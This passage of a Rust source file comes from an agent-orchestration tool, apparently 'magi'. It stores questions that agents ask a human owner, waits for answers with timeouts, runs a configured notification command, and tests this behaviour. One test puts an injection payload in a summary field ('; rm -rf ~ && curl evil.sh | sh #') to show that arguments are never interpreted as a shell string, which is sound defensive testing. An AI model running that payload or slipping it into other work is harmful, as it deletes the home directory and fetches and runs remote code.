1690 wait_for_owner(q, store, notify, timeout, POLL).await
1691}
1692
1693pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1708 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1709}
1710
1711async fn wait_for_owner(
1717 q: &mut Question,
1718 store: &Questions,
1719 cfg: &config::Notify,
1720 timeout: Duration,
1721 poll: Duration,
1722) -> Result<Wait> {
1723 if !store.path_of(&q.id).is_file() {
1727 store.put(q).context("file the question")?;
1728 }
1729 if q.should_notify(Timestamp::now()) {
1730 if let Err(e) = notify(cfg, q).await {
1731 tracing::warn!(
1736 "could not notify about question {}: {e:#} - the web UI is the \
1737 only surface for it now",
1738 q.short()
1739 );
1740 }
1741 }
1742 tracing::info!(
1743 "question {} from {} is waiting for you: {}",
1744 q.short(),
1745 q.seat,
1746 q.summary
1747 );
1748 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1749}
1750
1751fn hold(store: &Questions, id: &str) {
1753 store.beat(id, WaiterKind::Asker);
1754 let took = store.update(id, |q| {
1755 if q.status.open() {
1756 q.waiter = Some(Waiter {
1757 kind: WaiterKind::Asker,
1758 since: Timestamp::now(),
1759 });
1760 }
1761 Ok(())
1762 });
1763 if let Err(e) = took {
1764 tracing::debug!("could not note the wait on question {id}: {e:#}");
1765 }
1766}
1767
1768pub fn hand_over(store: &Questions, q: &mut Question) {
1776 let done = store.update(&q.id, |r| {
1777 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1778 if r.status == QuestionStatus::Answered {
1779 r.answer_delivered = true;
1780 }
1781 r.waiter = None;
1782 Ok(())
1783 });
1784 match done {
1785 Ok((fresh, ())) => *q = fresh,
1786 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1787 }
1788}
1789
1790pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1794 let says = q.undelivered_owner_turns();
1795 if says.is_empty() {
1796 return answer.to_owned();
1797 }
1798 format!(
1799 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1800 says.join("\n\n")
1801 )
1802}
1803
1804pub fn deliver_answer(
1807 store: &Questions,
1808 q: &mut Question,
1809 answer: &str,
1810 out: &mut impl std::io::Write,
1811) -> std::io::Result<()> {
1812 writeln!(out, "{}", answer_for_agent(q, answer))?;
1813 out.flush()?;
1814 hand_over(store, q);
1815 Ok(())
1816}
1817
1818async fn wait_loop(
1828 q: &mut Question,
1829 store: &Questions,
1830 timeout: Duration,
1831 slice: Duration,
1832 poll: Duration,
1833) -> Result<Wait> {
1834 if let Some(said) = q.unread_from_owner() {
1844 return Ok(Wait::Replied(said));
1845 }
1846 hold(store, &q.id);
1847
1848 let bounded = timeout.min(slice);
1849 let is_the_real_deadline = bounded >= timeout;
1850 let deadline = tokio::time::Instant::now() + bounded;
1851 loop {
1852 let now = tokio::time::Instant::now();
1853 if now >= deadline {
1854 if !is_the_real_deadline {
1855 return Ok(Wait::Pending);
1859 }
1860 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1861 let (fresh, unread) = store
1865 .update(&q.id, |r| {
1866 let unread = r.unread_from_owner();
1867 if unread.is_none() {
1868 r.abandon(&why);
1869 r.waiter = None;
1870 }
1871 Ok(unread)
1872 })
1873 .context("record the abandoned question")?;
1874 *q = fresh;
1875 if let Some(said) = unread {
1876 return Ok(Wait::Replied(said));
1877 }
1878 tracing::warn!(
1879 "question {} went unanswered for {}s; the run parks and the \
1880 question stays as the record of it",
1881 q.short(),
1882 timeout.as_secs()
1883 );
1884 return Ok(Wait::Abandoned);
1885 }
1886 tokio::time::sleep(poll.min(deadline - now)).await;
1887 store.beat(&q.id, WaiterKind::Asker);
1888 match store.get(&q.id) {
1889 Ok(fresh) if !fresh.status.open() => {
1890 *q = fresh;
1894 return Ok(match q.resolution() {
1895 Some(a) => Wait::Answered(a),
1896 None => Wait::Abandoned,
1899 });
1900 }
1901 Ok(fresh) => {
1902 if let Some(said) = fresh.unread_from_owner() {
1903 *q = fresh;
1904 return Ok(Wait::Replied(said));
1905 }
1906 }
1909 Err(e) => {
1910 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1914 }
1915 }
1916 }
1917}
1918
1919pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1930 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
1931 if q.status.open() {
1932 summary.push_str(&format!(
1933 " Respond in Questions or with `magi answer {}`.",
1934 q.id
1935 ));
1936 }
1937 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
1938 notify_at(cmd, &q.run, &summary, &url).await
1939}
1940
1941pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1944 let url = view_url(
1945 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
1946 "notifications",
1947 );
1948 notify_at(cmd, run, summary, &url).await
1949}
1950
1951async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
1952 let Some((program, args)) = cmd.command.split_first() else {
1953 return Ok(());
1955 };
1956 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1957 tracing::warn!(
1958 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1959 so the link will be empty - export it next to `magi serve` with \
1960 the address `magi web --open` printed"
1961 );
1962 }
1963 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
1964 tracing::debug!(program = %program, args = ?argv, "notifying");
1965
1966 let mut child = tokio::process::Command::new(program);
1967 child.quiet();
1968 child
1969 .args(&argv)
1970 .stdin(std::process::Stdio::null())
1971 .kill_on_drop(true);
1974 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1975 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1976 Err(_) => bail!(
1977 "notification command `{program}` did not finish within {}s",
1978 NOTIFY_TIMEOUT.as_secs()
1979 ),
1980 };
1981 if !out.status.success() {
1982 let stderr = String::from_utf8_lossy(&out.stderr);
1983 let why = stderr
1984 .lines()
1985 .rev()
1986 .find(|l| !l.trim().is_empty())
1987 .unwrap_or("no output on stderr")
1988 .trim();
1989 bail!(
1990 "notification command `{program}` exited with {}: {why}",
1991 out.status
1992 );
1993 }
1994 Ok(())
1995}
1996
1997fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2003 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2004 let mut out = String::with_capacity(template.len());
2005 let mut rest = template;
2006 while let Some(at) = rest.find('{') {
2007 out.push_str(&rest[..at]);
2008 let tail = &rest[at..];
2009 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2010 Some((token, value)) => {
2011 out.push_str(value);
2012 rest = &tail[token.len()..];
2013 }
2014 None => {
2015 out.push('{');
2017 rest = &tail[1..];
2018 }
2019 }
2020 }
2021 out.push_str(rest);
2022 out
2023}
2024
2025fn question_url(base: &str) -> String {
2032 view_url(base, "questions")
2033}
2034
2035fn view_url(base: &str, view: &str) -> String {
2036 let base = base.trim().trim_end_matches('/');
2037 if base.is_empty() || base.contains('#') {
2038 return base.to_owned();
2039 }
2040 format!("{base}/#/{view}")
2041}
2042
2043fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2048 let index = dir.join(PANEL_HTML);
2049 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2050 for (name, src) in assets {
2051 let dst = dir.join(name);
2052 std::fs::copy(src, &dst)
2053 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2054 }
2055 Ok(())
2056}
2057
2058fn clear_dir(path: &Path) -> Result<()> {
2063 match std::fs::remove_dir_all(path) {
2064 Ok(()) => Ok(()),
2065 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2066 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2067 }
2068}
2069
2070fn read_path(path: &Path) -> Result<Question> {
2071 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2072 let q: Question =
2073 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2074 if q.schema > SCHEMA {
2075 bail!(
2080 "question {} was written by a newer magi (schema {}, this build \
2081 only speaks up to {SCHEMA})",
2082 q.id,
2083 q.schema
2084 );
2085 }
2086 Ok(q)
2087}
2088
2089pub fn short_id(id: &str) -> &str {
2091 short(id)
2092}
2093
2094fn short(id: &str) -> &str {
2095 id.split('-').next_back().unwrap_or(id)
2096}
2097
2098fn new_id() -> String {
2099 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2100 let seed = crate::rng::entropy();
2101 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2102}
2103
2104#[cfg(test)]
2105mod tests {
2106 use super::*;
2107
2108 fn store() -> (tempfile::TempDir, Questions) {
2111 let dir = tempfile::tempdir().unwrap();
2112 let s = Questions::at(dir.path().join("questions"));
2113 (dir, s)
2114 }
2115
2116 #[test]
2117 fn run_names_task_only_for_task_questions() {
2118 for (node, want) in [
2119 (crate::conduct::NODE, true),
2120 (crate::triage::NODE, true),
2121 (crate::triage::DEPS_NODE, true),
2122 (crate::land::APPROVAL_NODE, false),
2123 (crate::bump::NOTICE_NODE, false),
2124 ("implement", false),
2125 ] {
2126 let mut q = choice_question();
2127 q.node = node.to_owned();
2128 assert_eq!(q.run_names_task(), want, "{node}");
2129 }
2130 }
2131
2132 #[test]
2133 fn deleting_a_run_stops_its_questions_asking() {
2134 let (_dir, store) = store();
2135
2136 let mut open_one = choice_question();
2137 store.put(&mut open_one).unwrap();
2138 let mut answered = free_question();
2139 answered
2140 .answer(Answer::Text("keep this".to_owned()))
2141 .unwrap();
2142 store.put(&mut answered).unwrap();
2143 let mut elsewhere = choice_question();
2144 elsewhere.run = "20260903-105039-3cbf".to_owned();
2145 store.put(&mut elsewhere).unwrap();
2146
2147 let n = store
2148 .abandon_for_run(&open_one.run, "run was deleted")
2149 .unwrap();
2150 assert_eq!(n, 1, "only the open question of that run");
2151
2152 let back = store.get(&open_one.id).unwrap();
2153 assert!(!back.status.open(), "it no longer asks for a decision");
2154 assert!(
2155 back.detail.contains("run was deleted"),
2156 "the operator can see why: {}",
2157 back.detail
2158 );
2159
2160 let kept = store.get(&answered.id).unwrap();
2161 assert_eq!(
2162 kept.status,
2163 QuestionStatus::Answered,
2164 "an answered question is a decision on record, not something to revoke"
2165 );
2166 assert!(
2167 store.get(&elsewhere.id).unwrap().status.open(),
2168 "another run's question is untouched"
2169 );
2170 assert!(store.open_for(&open_one.run).is_empty());
2171 }
2172
2173 #[test]
2174 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2175 let (_dir, store) = store();
2176 let mut q = choice_question();
2177 store.put(&mut q).unwrap();
2178
2179 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2181 assert_eq!(n, 0);
2182 assert!(store.get(&q.id).unwrap().status.open());
2183
2184 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2187 assert_eq!(n, 1);
2188 let back = store.get(&q.id).unwrap();
2189 assert!(!back.status.open());
2190 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2191
2192 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2194 }
2195
2196 fn choice_question() -> Question {
2197 Question::new(
2198 "20260902-201256-9fb7".to_owned(),
2199 "implement".to_owned(),
2200 "impl-A".to_owned(),
2201 "Which storage backend should the cache use?".to_owned(),
2202 "Both are already dependencies.".to_owned(),
2203 vec!["SQLite".to_owned(), "Redis".to_owned()],
2204 )
2205 }
2206
2207 fn free_question() -> Question {
2208 Question::new(
2209 "20260902-201256-9fb7".to_owned(),
2210 "review".to_owned(),
2211 "rev-1".to_owned(),
2212 "What should the error message say?".to_owned(),
2213 String::new(),
2214 Vec::new(),
2215 )
2216 }
2217
2218 fn quiet() -> config::Notify {
2220 config::Notify::default()
2221 }
2222
2223 #[test]
2224 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2225 let mut q = choice_question();
2229 q.id = "20260902-231501-ab12".to_owned();
2230 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2231 let keys: Vec<&str> = open
2235 .as_object()
2236 .unwrap()
2237 .keys()
2238 .map(String::as_str)
2239 .collect();
2240 assert_eq!(
2241 keys,
2242 [
2243 "actions",
2244 "answer",
2245 "answer_delivered",
2246 "answer_timeout",
2247 "answered_at",
2248 "asked_at",
2249 "assets",
2250 "choices",
2251 "consult",
2252 "cwd",
2253 "decision_context",
2254 "delivered_turns",
2255 "deputy",
2256 "detail",
2257 "id",
2258 "merge_target",
2259 "node",
2260 "panel",
2261 "run",
2262 "schema",
2263 "seat",
2264 "status",
2265 "summary",
2266 "thread",
2267 "triage_generation",
2268 "waiter",
2269 ],
2270 "the on-disk field set is a contract with the front end"
2271 );
2272 assert_eq!(open["schema"], 11);
2273 assert_eq!(open["merge_target"], serde_json::Value::Null);
2274 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2275 assert_eq!(open["thread"], serde_json::json!([]));
2276 assert_eq!(open["id"], "20260902-231501-ab12");
2277 assert_eq!(open["run"], "20260902-201256-9fb7");
2278 assert_eq!(open["node"], "implement");
2279 assert_eq!(open["seat"], "impl-A");
2280 assert_eq!(open["status"], "open");
2281 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2282 assert_eq!(open["answered_at"], serde_json::Value::Null);
2283 assert_eq!(open["answer"], serde_json::Value::Null);
2284 let asked = open["asked_at"].as_str().unwrap();
2285 assert!(
2286 asked.ends_with('Z') && asked.contains('T'),
2287 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2288 );
2289
2290 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2292 let answered = serde_json::to_value(&q).unwrap();
2293 assert_eq!(answered["status"], "answered");
2294 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2295 assert!(answered["answered_at"].is_string());
2296
2297 let mut free = free_question();
2299 free.answer(Answer::Text("Say which file it was".to_owned()))
2300 .unwrap();
2301 assert_eq!(
2302 serde_json::to_value(&free).unwrap()["answer"],
2303 serde_json::json!({"text": "Say which file it was"})
2304 );
2305
2306 let body = serde_json::to_string(&q).unwrap();
2308 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2309 }
2310
2311 #[test]
2312 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2313 let (_dir, store) = store();
2314 let mut q = approval_question();
2315 q.merge_target = Some(crate::merge_decision::Target {
2316 pr: "https://github.com/example/repo/pull/42".into(),
2317 head: "reviewed-head".into(),
2318 language: "ja".into(),
2319 });
2320 store.put(&mut q).unwrap();
2321 let saved = store.get(&q.id).unwrap();
2322 assert_eq!(saved, q);
2323 let mut body = serde_json::to_value(&saved).unwrap();
2324 assert_eq!(body["schema"], 11);
2325 assert_eq!(
2326 body["merge_target"],
2327 serde_json::json!({
2328 "pr": "https://github.com/example/repo/pull/42",
2329 "head": "reviewed-head",
2330 "language": "ja"
2331 })
2332 );
2333
2334 body["schema"] = serde_json::json!(10);
2337 body.as_object_mut().unwrap().remove("merge_target");
2338 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2339 let legacy = store.get(&q.id).unwrap();
2340 assert_eq!(legacy.schema, 10);
2341 assert!(legacy.merge_target.is_none());
2342 assert_eq!(legacy.choices, q.choices);
2343 assert_eq!(legacy.status, q.status);
2344 }
2345
2346 #[test]
2347 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2348 let mut unoffered = choice_question();
2351 let a = unoffered
2352 .answer(Answer::Choice("Postgres".to_owned()))
2353 .unwrap_err()
2354 .to_string();
2355
2356 let mut typed = choice_question();
2357 let b = typed
2358 .answer(Answer::Text("use Postgres".to_owned()))
2359 .unwrap_err()
2360 .to_string();
2361
2362 let mut blank = free_question();
2363 let c = blank
2364 .answer(Answer::Text(" \n".to_owned()))
2365 .unwrap_err()
2366 .to_string();
2367
2368 let mut twice = choice_question();
2369 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2370 let d = twice
2371 .answer(Answer::Choice("Redis".to_owned()))
2372 .unwrap_err()
2373 .to_string();
2374
2375 assert!(a.contains("not one of the choices"), "{a}");
2376 assert!(b.contains("multiple choice"), "{b}");
2377 assert!(c.contains("empty"), "{c}");
2378 assert!(d.contains("already answered"), "{d}");
2379 let mut distinct = vec![a, b, c, d];
2380 let asked = distinct.len();
2381 distinct.sort_unstable();
2382 distinct.dedup();
2383 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2384
2385 assert_eq!(unoffered.status, QuestionStatus::Open);
2387 assert_eq!(typed.status, QuestionStatus::Open);
2388 assert_eq!(blank.status, QuestionStatus::Open);
2389 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2391
2392 let mut free = free_question();
2394 let e = free
2395 .answer(Answer::Choice("SQLite".to_owned()))
2396 .unwrap_err()
2397 .to_string();
2398 assert!(e.contains("free text"), "{e}");
2399 }
2400
2401 #[test]
2402 fn open_questions_are_listed_before_answered_ones() {
2403 let (_dir, s) = store();
2404 let mut old_open = choice_question();
2407 old_open.id = "20260101-000001-aaaa".to_owned();
2408 let mut new_open = choice_question();
2409 new_open.id = "20260101-000002-bbbb".to_owned();
2410 let mut answered = choice_question();
2411 answered.id = "20260101-000003-cccc".to_owned();
2412 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2413 for q in [&mut old_open, &mut new_open, &mut answered] {
2414 s.put(q).unwrap();
2415 }
2416
2417 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2418 assert_eq!(
2419 ids,
2420 [
2421 "20260101-000002-bbbb",
2422 "20260101-000001-aaaa",
2423 "20260101-000003-cccc"
2424 ],
2425 "what has stopped work comes first; history sorts underneath"
2426 );
2427 assert_eq!(s.count_open(), 2);
2428 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2429 assert!(s.open_for("some-other-run").is_empty());
2430 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2432 assert!(s.get("20260101-000002-bbbb").is_ok());
2433 assert!(s.resolve_id("nope").is_err());
2434 assert!(
2435 s.revision() > 0,
2436 "the store's mtime drives the phone's polling"
2437 );
2438 }
2439
2440 #[test]
2441 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2442 let (_dir, s) = store();
2443 let mut good = choice_question();
2444 s.put(&mut good).unwrap();
2445 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2447 let future = serde_json::json!({
2448 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2449 "seat": "s", "summary": "?", "detail": "", "choices": [],
2450 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2451 "answered_at": null, "answer": null,
2452 });
2453 std::fs::write(
2454 s.path_of("20260101-000010-beef"),
2455 serde_json::to_string(&future).unwrap(),
2456 )
2457 .unwrap();
2458
2459 let listed = s.list();
2460 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2461 assert_eq!(listed[0].id, good.id);
2462 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2464 assert!(e.contains("schema"), "{e}");
2465 }
2466
2467 #[tokio::test]
2468 async fn the_wait_returns_the_answer_another_process_wrote() {
2469 let (dir, s) = store();
2474 let mut q = choice_question();
2475 let id = q.id.clone();
2476 let writer = Questions::at(dir.path().join("questions"));
2477 let handle = tokio::spawn(async move {
2478 tokio::time::sleep(Duration::from_millis(30)).await;
2479 let mut fresh = writer.get(&id).expect("the question was filed first");
2480 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2481 writer.put(&mut fresh).unwrap();
2482 });
2483
2484 let got = wait_for_owner(
2485 &mut q,
2486 &s,
2487 &quiet(),
2488 Duration::from_secs(5),
2489 Duration::from_millis(10),
2490 )
2491 .await
2492 .unwrap();
2493
2494 handle.await.unwrap();
2495 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2496 assert_eq!(
2497 q.status,
2498 QuestionStatus::Answered,
2499 "the caller's copy is refreshed from the answering process's record"
2500 );
2501 assert!(q.answered_at.is_some());
2502 }
2503
2504 #[tokio::test]
2505 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2506 let (_dir, s) = store();
2507 let mut q = choice_question();
2508
2509 let got = wait_for_owner(
2510 &mut q,
2511 &s,
2512 &quiet(),
2513 Duration::from_millis(60),
2514 Duration::from_millis(10),
2515 )
2516 .await
2517 .unwrap();
2518
2519 assert_eq!(
2520 got,
2521 Wait::Abandoned,
2522 "a slow human is not an error; the run parks"
2523 );
2524 assert_eq!(q.status, QuestionStatus::Abandoned);
2525 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2526 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2527 assert!(
2528 on_disk.detail.contains("Abandoned:"),
2529 "why nobody answered belongs with the question: {}",
2530 on_disk.detail
2531 );
2532 assert!(on_disk.resolution().is_none());
2533 assert_eq!(s.count_open(), 0);
2534 }
2535
2536 #[tokio::test]
2537 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2538 let (_dir, s) = store();
2543 let mut q = choice_question();
2544 s.put(&mut q).unwrap();
2545
2546 let got = wait_loop(
2547 &mut q,
2548 &s,
2549 Duration::from_secs(3600),
2550 Duration::from_millis(30),
2551 Duration::from_millis(10),
2552 )
2553 .await
2554 .unwrap();
2555
2556 assert_eq!(
2557 got,
2558 Wait::Pending,
2559 "the clock on this call ran out, not the owner's patience"
2560 );
2561 assert_eq!(
2562 q.status,
2563 QuestionStatus::Open,
2564 "a slice expiring must never abandon the question"
2565 );
2566 let on_disk = s.get(&q.id).expect("still on disk, still open");
2567 assert_eq!(
2568 on_disk.status,
2569 QuestionStatus::Open,
2570 "nothing about the record changed just because this call gave up"
2571 );
2572 }
2573
2574 #[tokio::test]
2575 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2576 let (dir, s) = store();
2581 let mut q = choice_question();
2582 s.put(&mut q).unwrap();
2583
2584 let first = wait_loop(
2585 &mut q,
2586 &s,
2587 Duration::from_secs(3600),
2588 Duration::from_millis(30),
2589 Duration::from_millis(10),
2590 )
2591 .await
2592 .unwrap();
2593 assert_eq!(first, Wait::Pending);
2594
2595 let id = q.id.clone();
2596 let writer = Questions::at(dir.path().join("questions"));
2597 let mut fresh = writer.get(&id).unwrap();
2598 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2599 writer.put(&mut fresh).unwrap();
2600
2601 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2606 .await
2607 .unwrap();
2608 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2609 assert_eq!(q.status, QuestionStatus::Answered);
2610 }
2611
2612 #[tokio::test]
2613 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2614 let (dir, s) = store();
2624 let mut q = choice_question();
2625 s.put(&mut q).unwrap();
2626
2627 let first = wait_loop(
2628 &mut q,
2629 &s,
2630 Duration::from_secs(3600),
2631 Duration::from_millis(30),
2632 Duration::from_millis(10),
2633 )
2634 .await
2635 .unwrap();
2636 assert_eq!(first, Wait::Pending);
2637
2638 let id = q.id.clone();
2640 let writer = Questions::at(dir.path().join("questions"));
2641 let mut fresh = writer.get(&id).unwrap();
2642 fresh.say("why not Postgres?").unwrap();
2643 writer.put(&mut fresh).unwrap();
2644
2645 let mut resumed = s.get(&id).unwrap();
2649 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2650 .await
2651 .unwrap();
2652 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2653 assert_eq!(
2654 resumed.status,
2655 QuestionStatus::Open,
2656 "talking back is not a decision; the question stays open"
2657 );
2658 }
2659
2660 #[tokio::test]
2661 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2662 let (dir, s) = store();
2666 let broken = config::Notify {
2667 command: vec![
2668 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2669 "{summary}".to_owned(),
2670 ],
2671 };
2672 let mut q = choice_question();
2673 assert!(
2674 notify(&broken, &q).await.is_err(),
2675 "the caller is told; it decides that it does not matter"
2676 );
2677
2678 let id = q.id.clone();
2679 let writer = Questions::at(dir.path().join("questions"));
2680 let handle = tokio::spawn(async move {
2681 tokio::time::sleep(Duration::from_millis(30)).await;
2682 let mut fresh = writer.get(&id).unwrap();
2683 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2684 writer.put(&mut fresh).unwrap();
2685 });
2686 let got = wait_for_owner(
2687 &mut q,
2688 &s,
2689 &broken,
2690 Duration::from_secs(5),
2691 Duration::from_millis(10),
2692 )
2693 .await
2694 .unwrap();
2695 handle.await.unwrap();
2696 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2697
2698 assert!(notify(&quiet(), &q).await.is_ok());
2700 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2701 }
2702
2703 #[tokio::test]
2704 async fn external_question_notification_names_the_supported_response_path() {
2705 let dir = tempfile::tempdir().unwrap();
2706 let path = dir.path().join("page");
2707 let cmd = config::Notify {
2708 command: vec![
2709 "sh".into(),
2710 "-c".into(),
2711 "printf '%s' \"$1\" > \"$2\"".into(),
2712 "notify".into(),
2713 "{summary}".into(),
2714 path.to_string_lossy().into_owned(),
2715 ],
2716 };
2717 let q = choice_question();
2718 notify(&cmd, &q).await.unwrap();
2719 let sent = std::fs::read_to_string(&path).unwrap();
2720 assert!(sent.starts_with("Question "));
2721 assert!(sent.contains(&q.summary));
2722 assert!(sent.contains(&format!("magi answer {}", q.id)));
2723 notify_text(&cmd, "", "Informational report. No reply needed.")
2724 .await
2725 .unwrap();
2726 assert_eq!(
2727 std::fs::read_to_string(&path).unwrap(),
2728 "Informational report. No reply needed."
2729 );
2730 }
2731
2732 #[test]
2733 fn external_notifications_and_questions_have_distinct_destinations() {
2734 assert_eq!(
2735 question_url("https://example.invalid/"),
2736 "https://example.invalid/#/questions"
2737 );
2738 assert_eq!(
2739 view_url("https://example.invalid/", "notifications"),
2740 "https://example.invalid/#/notifications"
2741 );
2742 assert_eq!(view_url("", "notifications"), "");
2743 assert_eq!(
2744 view_url("https://example.invalid/#/queue", "notifications"),
2745 "https://example.invalid/#/queue"
2746 );
2747 }
2748
2749 #[test]
2750 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2751 let mut q = choice_question();
2752 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2753 let template = [
2754 "ntfy".to_owned(),
2755 "publish".to_owned(),
2756 "--click".to_owned(),
2757 "{url}".to_owned(),
2758 "--title".to_owned(),
2759 "magi {run} needs you".to_owned(),
2760 "{summary}".to_owned(),
2761 ];
2762 let argv: Vec<String> = template
2763 .iter()
2764 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2765 .collect();
2766
2767 assert_eq!(
2768 argv,
2769 [
2770 "ntfy",
2771 "publish",
2772 "--click",
2773 "http://100.64.0.1:7777/#/questions",
2774 "--title",
2775 "magi 20260902-201256-9fb7 needs you",
2776 "; rm -rf ~ && curl evil.sh | sh #",
2777 ],
2778 "the shell metacharacters are one argument's contents, not syntax"
2779 );
2780
2781 q.summary = "should {url} be configurable?".to_owned();
2784 assert_eq!(
2785 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2786 "should {url} be configurable?"
2787 );
2788 assert_eq!(
2790 expand("{title}: {run}", &q.run, &q.summary, ""),
2791 "{title}: 20260902-201256-9fb7"
2792 );
2793 assert_eq!(
2794 expand("no placeholders", &q.run, &q.summary, "http://x"),
2795 "no placeholders"
2796 );
2797 }
2798
2799 #[test]
2800 fn the_notification_link_lands_on_the_view_that_can_answer() {
2801 assert_eq!(
2802 question_url("http://100.64.0.1:7777"),
2803 "http://100.64.0.1:7777/#/questions"
2804 );
2805 assert_eq!(
2806 question_url("http://100.64.0.1:7777/"),
2807 "http://100.64.0.1:7777/#/questions"
2808 );
2809 assert_eq!(
2811 question_url("http://magi.ts.net/#/runs"),
2812 "http://magi.ts.net/#/runs"
2813 );
2814 assert_eq!(question_url(" "), "");
2816 }
2817
2818 fn panelled() -> Question {
2820 let mut q = choice_question();
2821 q.id = "20260903-014455-ab12".to_owned();
2822 q
2823 }
2824
2825 #[test]
2826 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2827 let (dir, s) = store();
2828 let work = dir.path().join("worktree");
2829 std::fs::create_dir_all(&work).unwrap();
2830 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2831 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2832
2833 let mut q = panelled();
2834 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2835 s.put_panel(
2836 &mut q,
2837 html,
2838 &[work.join("table.png"), work.join("diff.svg")],
2839 )
2840 .unwrap();
2841 s.put(&mut q).unwrap();
2842
2843 assert!(q.panel);
2844 assert_eq!(
2845 q.assets,
2846 ["diff.svg", "table.png"],
2847 "sorted, not in the order the agent happened to pass them"
2848 );
2849 assert_eq!(
2850 s.panel_html(&q.id).as_deref(),
2851 Some(html),
2852 "the html is stored byte for byte; the agent authored the markup"
2853 );
2854 assert_eq!(
2855 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2856 Some(&b"<svg/>"[..])
2857 );
2858
2859 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2861 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2862 assert_eq!(json["panel"], true);
2863 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2864 let back = s.get(&q.id).unwrap();
2865 assert!(back.panel);
2866 assert_eq!(back.assets, q.assets);
